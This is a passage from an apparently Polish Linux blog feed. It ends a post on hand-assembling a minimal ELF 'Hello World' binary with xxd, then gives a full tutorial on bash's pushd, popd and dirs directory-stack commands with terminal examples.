<span class="go">0100 0000 0300 0000 0000 0000 0000 0000 0000 0000 0000 0000 0004 0000 0000 0000 1200 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000</span>
<span class="gp">$</span> xxd -r -p -s 0x280 - /tmp/dd <span class="c1">#Section header text</span>
<span class="go">0b00 0000 0100 0000 0600 0000 0000 0000 0003 4000 0000 0000 0003 0000 0000 0000 2200 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000</span>
<span class="gp">$</span> xxd -r -p -s 0x300 - /tmp/dd <span class="c1">#Code</span>
<span class="go">b801 0000 00bf 0100 0000 be22 0340 00ba 0C00 0000 0F05 b83c 0000 00bf 0000 0000 0F05 4865 6c6c 6f20 576f 726c 640a</span>
<span class="gp">$</span> xxd -r -p -s 0x400 - /tmp/dd <span class="c1">#Section names</span>
<span class="go">002e 7368 7374 7274 6162 002e 7465 7874 0000</span>
</pre></div>
<p>Otrzymany plik powinien mieć postać:</p>
<div class="highlight"><pre><span></span><span class="nl">00000000</span> <span class="mh">7f</span> <span class="mh">45</span> <span class="mh">4c</span> <span class="mh">46</span> <span class="mh">02</span> <span class="mh">01</span> <span class="mh">01</span> <span class="mh">03</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">.ELF............</span><span class="p">|</span>
<span class="nl">00000010</span> <span class="mh">02</span> <span class="mh">00</span> <span class="mh">3e</span> <span class="mh">00</span> <span class="mh">01</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">03</span> <span class="mh">40</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">..>.......@.....</span><span class="p">|</span>
<span class="nl">00000020</span> <span class="mh">00</span> <span class="mh">01</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">02</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">................</span><span class="p">|</span>
<span class="nl">00000030</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">40</span> <span class="mh">00</span> <span class="mh">38</span> <span class="mh">00</span> <span class="mh">01</span> <span class="mh">00</span> <span class="mh">40</span> <span class="mh">00</span> <span class="mh">03</span> <span class="mh">00</span> <span class="mh">01</span> <span class="mh">00</span> <span class="p">|</span><span class="s">....@.8...@.....</span><span class="p">|</span>
<span class="nl">00000040</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">................</span><span class="p">|</span>
<span class="p">*</span>
<span class="nl">00000100</span> <span class="mh">01</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">05</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">03</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">................</span><span class="p">|</span>
<span class="nl">00000110</span> <span class="mh">00</span> <span class="mh">03</span> <span class="mh">40</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">03</span> <span class="mh">40</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">..@.......@.....</span><span class="p">|</span>
<span class="nl">00000120</span> <span class="mh">2e</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">2e</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">................</span><span class="p">|</span>
<span class="nl">00000130</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">................</span><span class="p">|</span>
<span class="p">*</span>
<span class="nl">00000240</span> <span class="mh">01</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">03</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">................</span><span class="p">|</span>
<span class="nl">00000250</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">04</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">................</span><span class="p">|</span>
<span class="nl">00000260</span> <span class="mh">12</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">................</span><span class="p">|</span>
<span class="nl">00000270</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">................</span><span class="p">|</span>
<span class="nl">00000280</span> <span class="mh">0b</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">01</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">06</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">................</span><span class="p">|</span>
<span class="nl">00000290</span> <span class="mh">00</span> <span class="mh">03</span> <span class="mh">40</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">03</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">..@.............</span><span class="p">|</span>
<span class="nl">000002a0</span> <span class="mh">22</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">"...............</span><span class="p">|</span>
<span class="nl">000002b0</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">................</span><span class="p">|</span>
<span class="p">*</span>
<span class="nl">00000300</span> <span class="mh">b8</span> <span class="mh">01</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">ba</span> <span class="mh">01</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">be</span> <span class="mh">22</span> <span class="mh">03</span> <span class="mh">40</span> <span class="mh">00</span> <span class="mh">ba</span> <span class="p">|</span><span class="s">...........".@..</span><span class="p">|</span>
<span class="nl">00000310</span> <span class="mh">0c</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">0f</span> <span class="mh">05</span> <span class="mh">b8</span> <span class="mh">3c</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">ba</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">.......<........</span><span class="p">|</span>
<span class="nl">00000320</span> <span class="mh">0f</span> <span class="mh">05</span> <span class="mh">48</span> <span class="mh">65</span> <span class="mh">6c</span> <span class="mh">6c</span> <span class="mh">6f</span> <span class="mh">20</span> <span class="mh">57</span> <span class="mh">6f</span> <span class="mh">72</span> <span class="mh">6c</span> <span class="mh">64</span> <span class="mh">0a</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">..Hello World...</span><span class="p">|</span>
<span class="nl">00000330</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">................</span><span class="p">|</span>
<span class="p">*</span>
<span class="nl">00000400</span> <span class="mh">00</span> <span class="mh">2e</span> <span class="mh">73</span> <span class="mh">68</span> <span class="mh">73</span> <span class="mh">74</span> <span class="mh">72</span> <span class="mh">74</span> <span class="mh">61</span> <span class="mh">62</span> <span class="mh">00</span> <span class="mh">2e</span> <span class="mh">74</span> <span class="mh">65</span> <span class="mh">78</span> <span class="mh">74</span> <span class="p">|</span><span class="s">..shstrtab..text</span><span class="p">|</span>
<span class="nl">00000410</span> <span class="mh">00</span> <span class="mh">00</span> <span class="p">|</span><span class="s">..</span><span class="p">|</span>
<span class="nl">00000412</span>
</pre></div>
<p>Oraz być uruchamialny:</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /tmp $</span> chmod +x /tmp/dd
<span class="gp">torgiren@redraptor /tmp $</span> /tmp/dd
<span class="go">Hello World</span>
</pre></div>
</div>
Pushd/Popd2020-05-11T00:00:00+02:002020-05-11T00:00:00+02:00TORGirentag:blog.fabrykowski.pl,2020-05-11:/pushd.html<p>W tym poście pokażę jak działają bashowe polecenia <tt class="docutils literal">pushd</tt> oraz <tt class="docutils literal">popd</tt>.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/fBSiKWqd94s" allowfullscreen seamless frameBorder="0"></iframe></div><p>Powłoka <tt class="docutils literal">bash</tt> posiada pewną funkcjonalność, która nie jest powszechnie znana - tą funkcjonalnością jest stos katalogów.</p>
<p>Jak sama nazwa wskazuje, jest to stos na którym odkładane są ścieżki do katalogów, a na jego szczycie znajduje się aktualny katalog.</p>
<p>Zanim przejdziemy …</p><p>W tym poście pokażę jak działają bashowe polecenia <tt class="docutils literal">pushd</tt> oraz <tt class="docutils literal">popd</tt>.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/fBSiKWqd94s" allowfullscreen seamless frameBorder="0"></iframe></div><p>Powłoka <tt class="docutils literal">bash</tt> posiada pewną funkcjonalność, która nie jest powszechnie znana - tą funkcjonalnością jest stos katalogów.</p>
<p>Jak sama nazwa wskazuje, jest to stos na którym odkładane są ścieżki do katalogów, a na jego szczycie znajduje się aktualny katalog.</p>
<p>Zanim przejdziemy do zastosowań, poznajmy trzy polecenia służące do obsługi tego stosu:</p>
<ul class="simple">
<li><tt class="docutils literal">pushd</tt> - służy do dodawania katalogu na stos</li>
<li><tt class="docutils literal">popd</tt> - służy do zdejmowania katalogu ze stosu</li>
<li><tt class="docutils literal">dirs</tt> - służy do wypisywania aktualnego stanu stosu</li>
</ul>
<p>Sposobu działania każdego z powyższych poleceń będziemy uczyć się na przykładach :)</p>
<p>Na początku wypiszmy sobie aktualny stan stosu:</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor ~ $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 ~</span>
<span class="gp">torgiren@redraptor ~ $</span> <span class="nb">cd</span> /tmp
<span class="gp">torgiren@redraptor /tmp $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp</span>
</pre></div>
<p>Widzimy, że polecenie <tt class="docutils literal">dirs <span class="pre">-v</span></tt> wypisuje aktualny stan stosu, który domyślnie zwiera tylko jedną pozycję - aktualny katalog</p>
<p>Następnie dodajmy jakiś katalog na wierzch stosu:</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /tmp $</span> <span class="nb">pushd</span> /proc/
<span class="go">/proc /tmp</span>
<span class="gp">torgiren@redraptor /proc $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /proc</span>
<span class="go"> 1 /tmp</span>
</pre></div>
<p>Widzimy, że katalog <tt class="docutils literal">/proc</tt> został dodany na wierzch stosu, natomiast <tt class="docutils literal">/tmp</tt> znajduje się na drugiej pozycji.
Widzimy również, że aktualny katalog zmienił się na <tt class="docutils literal">/proc</tt>.
Jak wspomniałem wcześniej, aktualny katalog to ten który znajduje się na wierzchu stosu, dlatego dodając <tt class="docutils literal">/proc</tt> zmieniliśmy również aktualny katalog</p>
<p>Po zmianie katalogu metodą tradycyjną, czyli <tt class="docutils literal">cd</tt>, zauważamy, że:</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /proc $</span> <span class="nb">cd</span> /sys
<span class="gp">torgiren@redraptor /sys $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /sys</span>
<span class="go"> 1 /tmp</span>
</pre></div>
<p>najwyższy element uległ zmianie.</p>
<p>Następnie, spróbujmy zdjąć ze stosu najwyższy element:</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /sys $</span> <span class="nb">popd</span>
<span class="go">/tmp</span>
<span class="gp">torgiren@redraptor /tmp $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp</span>
</pre></div>
<p>co tu się stało...</p>
<p>Polecenie <tt class="docutils literal">popd</tt> zdjęło ze stosu najwyższy element, dlatego nowym najwyższym elementem stał się katalog <tt class="docutils literal">/tmp</tt> co poskutkowało zmianą bieżącego katalogu właśnie na <tt class="docutils literal">/tmp</tt></p>
<p>Z tą wiedzą, możemy przejść do przykładu z życia (jedno z dwóch najczęściej używanych przeze mnie zastosowań)</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /tmp $</span> <span class="nb">pushd</span> .
<span class="go">/tmp /tmp</span>
<span class="gp">torgiren@redraptor /tmp $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp</span>
<span class="go"> 1 /tmp</span>
<span class="gp">torgiren@redraptor /tmp $</span> <span class="nb">cd</span> /etc
<span class="gp">torgiren@redraptor /etc $</span> <span class="nb">cd</span> conf.d
<span class="gp">torgiren@redraptor /etc/conf.d $</span> <span class="nb">pwd</span>
<span class="go">/etc/conf.d</span>
<span class="gp">torgiren@redraptor /etc/conf.d $</span> <span class="nb">cd</span> ..
<span class="gp">torgiren@redraptor /etc $</span> <span class="nb">cd</span> init.d/
<span class="gp">torgiren@redraptor /etc/init.d $</span> <span class="nb">popd</span>
<span class="go">/tmp</span>
<span class="gp">torgiren@redraptor /tmp $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp</span>
</pre></div>
<p>co tu się dzieje...</p>
<p>Będąc w katalogu <tt class="docutils literal">/tmp</tt>, odkładam na stos bieżący katalog - czyli <tt class="docutils literal">/tmp</tt>.
Skutkuje to powstaniem dwóch wpisów <tt class="docutils literal">/tmp</tt> na stosie.
Następnie zmieniam katalogi na <tt class="docutils literal">/etc</tt>, <tt class="docutils literal">/etc/conf.d</tt>, <tt class="docutils literal">/etc/init.d</tt>.
Jak wiemy, operacja <tt class="docutils literal">cd</tt> zmienia tylko najwyższy element, dlatego na pozycji 1 wciąż znajduje się <tt class="docutils literal">/tmp</tt>.
Po skończonej pracy w katalogach <tt class="docutils literal">/etc</tt>, po wpisaniu <tt class="docutils literal">popd</tt> ściągam aktualny katalog i pozycja 1 staje się pozycją 0, czyli wracamy do katalogu <tt class="docutils literal">/tmp</tt>.
Jest to ulepszona wersja <tt class="docutils literal">cd -</tt>, gdyż <tt class="docutils literal">cd -</tt> pozwala wrócić tylko do poprzedniego katalogu, natomiast użycie stosu pozwala na dokonanie dowolnej liczby przejść pomiędzy katalogami a następnie powrót do zapamiętanej pozycji.</p>
<p>Użycie polecenia <tt class="docutils literal">pushd <span class="pre">-n</span></tt> daje możliwość odkładania katalogów na stos bez zmiany aktualnego katalogu.
Są one wtedy odkładane na pozycję 1.</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /tmp $</span> <span class="nb">cd</span> /tmp/
<span class="gp">torgiren@redraptor /tmp $</span> mkdir -p pushd/a1
<span class="gp">torgiren@redraptor /tmp $</span> mkdir -p pushd/a2
<span class="gp">torgiren@redraptor /tmp $</span> mkdir -p pushd/a3
<span class="gp">torgiren@redraptor /tmp $</span> <span class="nb">cd</span> pushd/
<span class="gp">torgiren@redraptor /tmp/pushd $</span> touch a1/test.txt
<span class="gp">torgiren@redraptor /tmp/pushd $</span> touch a1/test2.txt
<span class="gp">torgiren@redraptor /tmp/pushd $</span> touch a1/test3.txt
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">pushd</span> -n a1
<span class="go">/tmp/pushd a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">pushd</span> -n a2
<span class="go">/tmp/pushd a2 a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">pushd</span> -n a3
<span class="go">/tmp/pushd a3 a2 a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp/pushd</span>
<span class="go"> 1 a3</span>
<span class="go"> 2 a2</span>
<span class="go"> 3 a1</span>
</pre></div>
<p>Z tak przygotowanym stosem, możemy przejść do drugiej najczęściej wykorzystywanego przeze mnie możliwości jaką daje stos katalogów.
Powiedzmy, że chcemy przenieść plik <tt class="docutils literal">test2.txt</tt> do katalogu <tt class="docutils literal">a2</tt>, natomiast <tt class="docutils literal">test3.txt</tt> do katalogu <tt class="docutils literal">a3</tt>. Zamiast robić standardowe <tt class="docutils literal">mv a1/test2.txt a2</tt>, możemy zrobić:</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /tmp/pushd $</span> mv ~3/test2.txt ~2/ -iv
<span class="go">przemianowany 'a1/test2.txt' -> 'a2/test2.txt'</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> mv ~3/test3.txt ~1/ -iv
<span class="go">przemianowany 'a1/test3.txt' -> 'a3/test3.txt'</span>
</pre></div>
<p>mimo, że nie wydaje się to dużo lepsze i wygodniejsze niż tradycyjny <tt class="docutils literal">mv</tt>, zobaczmy inny, bardziej życiowy przykład:</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp/pushd</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">pushd</span> .
<span class="go">/tmp/pushd /tmp/pushd</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp/pushd</span>
<span class="go"> 1 /tmp/pushd</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">cd</span> /etc/
<span class="gp">torgiren@redraptor /etc $</span> <span class="nb">cd</span> conf.d/
<span class="gp">torgiren@redraptor /etc/conf.d $</span> <span class="nb">cd</span> ..
<span class="gp">torgiren@redraptor /etc $</span> <span class="nb">cd</span> init.d/
<span class="gp">torgiren@redraptor /etc/init.d $</span> cp mdadm ~1/a3/ -iv
<span class="go">'mdadm' -> '/tmp/pushd/a3/mdadm'</span>
<span class="gp">torgiren@redraptor /etc/init.d $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /etc/init.d</span>
<span class="go"> 1 /tmp/pushd</span>
<span class="gp">torgiren@redraptor /etc/init.d $</span> <span class="nb">popd</span>
<span class="go">/tmp/pushd</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp/pushd</span>
</pre></div>
<p>dlatego powyższy przykład uważam za przydatny?
Ponieważ, na żadnym etapie nie jest wymagane dokładne znane ścieżki ani źródła ani celu.
W przypadku celu, zapisujemy aktualny katalog, a w przypadku źródła możemy dowolnie przemieszczać się pomiędzy katalogami w poszukiwaniu żądanego pliku.
A następnie, w prosty sposób powrócić do pierwotnego katalogu roboczego.</p>
<p>Kolejną rzeczą którą możemy zrobić używając stosu katalogów, jest jego rotacja.</p>
<p>Pozwala ona na przechodzenie po katalogach na stosie bez usuwania ich ze stosu.
Kierunek oraz krok o jaki zostanie przesunięty stos, podaje się jako argument w formie <tt class="docutils literal"><span class="pre">+/-num</span></tt> zamiast katalogu.</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /tmp/pushd/a2 $</span> <span class="nb">pushd</span> -n /tmp/pushd/a3
<span class="go">/tmp/pushd/a2 /tmp/pushd/a3</span>
<span class="gp">torgiren@redraptor /tmp/pushd/a2 $</span> <span class="nb">pushd</span> -n /tmp/pushd/a2
<span class="go">/tmp/pushd/a2 /tmp/pushd/a2 /tmp/pushd/a3</span>
<span class="gp">torgiren@redraptor /tmp/pushd/a2 $</span> <span class="nb">cd</span> /tmp/pushd/a1/
<span class="gp">torgiren@redraptor /tmp/pushd/a1 $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp/pushd/a1</span>
<span class="go"> 1 /tmp/pushd/a2</span>
<span class="go"> 2 /tmp/pushd/a3</span>
<span class="gp">torgiren@redraptor /tmp/pushd/a1 $</span> <span class="nb">pwd</span>
<span class="go">/tmp/pushd/a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd/a1 $</span> <span class="nb">pushd</span> +1
<span class="go">/tmp/pushd/a2 /tmp/pushd/a3 /tmp/pushd/a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd/a2 $</span> <span class="nb">pwd</span>
<span class="go">/tmp/pushd/a2</span>
<span class="gp">torgiren@redraptor /tmp/pushd/a2 $</span> <span class="nb">pushd</span> +1
<span class="go">/tmp/pushd/a3 /tmp/pushd/a1 /tmp/pushd/a2</span>
<span class="gp">torgiren@redraptor /tmp/pushd/a3 $</span> <span class="nb">pwd</span>
<span class="go">/tmp/pushd/a3</span>
<span class="gp">torgiren@redraptor /tmp/pushd/a3 $</span> <span class="nb">pushd</span> +1
<span class="go">/tmp/pushd/a1 /tmp/pushd/a2 /tmp/pushd/a3</span>
</pre></div>
<p>Przedostatnią rzeczą, jaką można zrobić ze stosem, to zdejmowanie z niego wybranych elementów.
Ponieważ <tt class="docutils literal">popd</tt> pozwala zdjąć nie tylko najwyższy, ale również dowolny inny element.
Określenie, który element ma zostać usunięty jest podawane jako argument numeryczny poprzedzony znakiem <tt class="docutils literal">+</tt> bądź <tt class="docutils literal">-</tt> określający, czy liczymy elementy od wierzchu czy od spodu stosu.
Dla przykładu, usuńmy ze stosu elementy <tt class="docutils literal">a5</tt>, <tt class="docutils literal">a15</tt>, <tt class="docutils literal">a20</tt>, <tt class="docutils literal">a1</tt>, <tt class="docutils literal">a19</tt>.</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="k">for</span> i in <span class="k">$(</span>seq <span class="m">1</span> <span class="m">20</span><span class="k">)</span><span class="p">;</span> <span class="k">do</span> <span class="nb">pushd</span> -n a<span class="nv">$i</span><span class="p">;</span> <span class="k">done</span>
<span class="go">/tmp/pushd a1</span>
<span class="go">/tmp/pushd a2 a1</span>
<span class="go">/tmp/pushd a3 a2 a1</span>
<span class="go">/tmp/pushd a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a13 a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a14 a13 a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a15 a14 a13 a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a16 a15 a14 a13 a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a17 a16 a15 a14 a13 a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a18 a17 a16 a15 a14 a13 a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a19 a18 a17 a16 a15 a14 a13 a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a20 a19 a18 a17 a16 a15 a14 a13 a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp/pushd</span>
<span class="go"> 1 a20</span>
<span class="go"> 2 a19</span>
<span class="go"> 3 a18</span>
<span class="go"> 4 a17</span>
<span class="go"> 5 a16</span>
<span class="go"> 6 a15</span>
<span class="go"> 7 a14</span>
<span class="go"> 8 a13</span>
<span class="go"> 9 a12</span>
<span class="go">10 a11</span>
<span class="go">11 a10</span>
<span class="go">12 a9</span>
<span class="go">13 a8</span>
<span class="go">14 a7</span>
<span class="go">15 a6</span>
<span class="go">16 a5</span>
<span class="go">17 a4</span>
<span class="go">18 a3</span>
<span class="go">19 a2</span>
<span class="go">20 a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">popd</span> -4 <span class="c1"># a5</span>
<span class="go">/tmp/pushd a20 a19 a18 a17 a16 a15 a14 a13 a12 a11 a10 a9 a8 a7 a6 a4 a3 a2 a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">popd</span> +6 <span class="c1"># a15</span>
<span class="go">/tmp/pushd a20 a19 a18 a17 a16 a14 a13 a12 a11 a10 a9 a8 a7 a6 a4 a3 a2 a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">popd</span> +1 <span class="c1"># a20</span>
<span class="go">/tmp/pushd a19 a18 a17 a16 a14 a13 a12 a11 a10 a9 a8 a7 a6 a4 a3 a2 a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">popd</span> -0 <span class="c1"># a1</span>
<span class="go">/tmp/pushd a19 a18 a17 a16 a14 a13 a12 a11 a10 a9 a8 a7 a6 a4 a3 a2</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">popd</span> +1 <span class="c1"># a19</span>
<span class="go">/tmp/pushd a18 a17 a16 a14 a13 a12 a11 a10 a9 a8 a7 a6 a4 a3 a2</span>
</pre></div>
<p>I ostatnia operacja która może być przydatna, czyli wyczyszczenie stosu, pozostawiając jedynie bieżący katalog.
Używa się do tego polecenia <tt class="docutils literal">dirs <span class="pre">-c</span></tt></p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp/pushd</span>
<span class="go"> 1 a18</span>
<span class="go"> 2 a17</span>
<span class="go"> 3 a16</span>
<span class="go"> 4 a14</span>
<span class="go"> 5 a13</span>
<span class="go"> 6 a12</span>
<span class="go"> 7 a11</span>
<span class="go"> 8 a10</span>
<span class="go"> 9 a9</span>
<span class="go">10 a8</span>
<span class="go">11 a7</span>
<span class="go">12 a6</span>
<span class="go">13 a4</span>
<span class="go">14 a3</span>
<span class="go">15 a2</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">dirs</span> -c
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp/pushd</span>
</pre></div>
